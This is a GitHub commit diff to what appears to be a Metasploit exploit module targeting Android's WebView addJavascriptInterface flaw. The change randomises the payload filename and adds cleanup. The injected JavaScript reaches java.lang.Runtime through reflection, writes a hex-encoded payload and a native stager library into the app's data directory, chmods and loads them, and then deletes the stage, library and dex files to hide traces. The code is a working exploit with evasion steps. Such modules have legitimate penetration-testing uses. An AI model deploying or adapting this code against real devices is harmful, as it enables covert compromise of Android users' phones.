Skip to content

Commit 8d9630a

Browse files
committed
Merge pull request #10 from timwr/ndkstager-fix
randomize payload filename
2 parents facd743 + 25ca055 commit 8d9630a

File tree

1 file changed

+11
-5
lines changed

1 file changed

+11
-5
lines changed

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -86,12 +86,14 @@ def on_request_exploit(cli, req, browser)
8686
send_response_html(cli, html)
8787
end
8888

89-
def dalvikstager
90-
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libdalvikstager.so')
91-
File.read(localfile, :mode => 'rb')
89+
def ndkstager(stagename)
90+
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so')
91+
data = File.read(localfile, :mode => 'rb')
92+
data.gsub!('PLOAD', stagename)
9293
end
9394

9495
def js
96+
stagename = Rex::Text.rand_text_alpha(5)
9597
%Q|
9698
function exec(obj) {
9799
// ensure that the object contains a native interface
@@ -101,14 +103,15 @@ def js
101103
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
102104
var runtime = m.invoke(null, null);
103105
var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}";
104-
var libraryData = "#{Rex::Text.to_hex(dalvikstager, '\\\\x')}";
106+
var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}";
105107
106108
// get the process name, which will give us our data path
107109
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
108110
var ch, path = '/data/data/';
109111
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
110112
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
111-
var stagePath = path + '/stage.apk';
113+
var stagePath = path + '/#{stagename}.apk';
114+
var dexPath = path + '/#{stagename}.dex';
112115
113116
// build the library and chmod it
114117
runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
@@ -119,6 +122,9 @@ def js
119122
runtime.exec(['chmod', '700', stagePath]).waitFor();
120123
121124
runtime.load(libraryPath);
125+
runtime.exec(['rm', stagePath]).waitFor();
126+
runtime.exec(['rm', libraryPath]).waitFor();
127+
runtime.exec(['rm', dexPath]).waitFor();
122128
123129
return true;
124130
}

0 commit comments

Comments
 (0)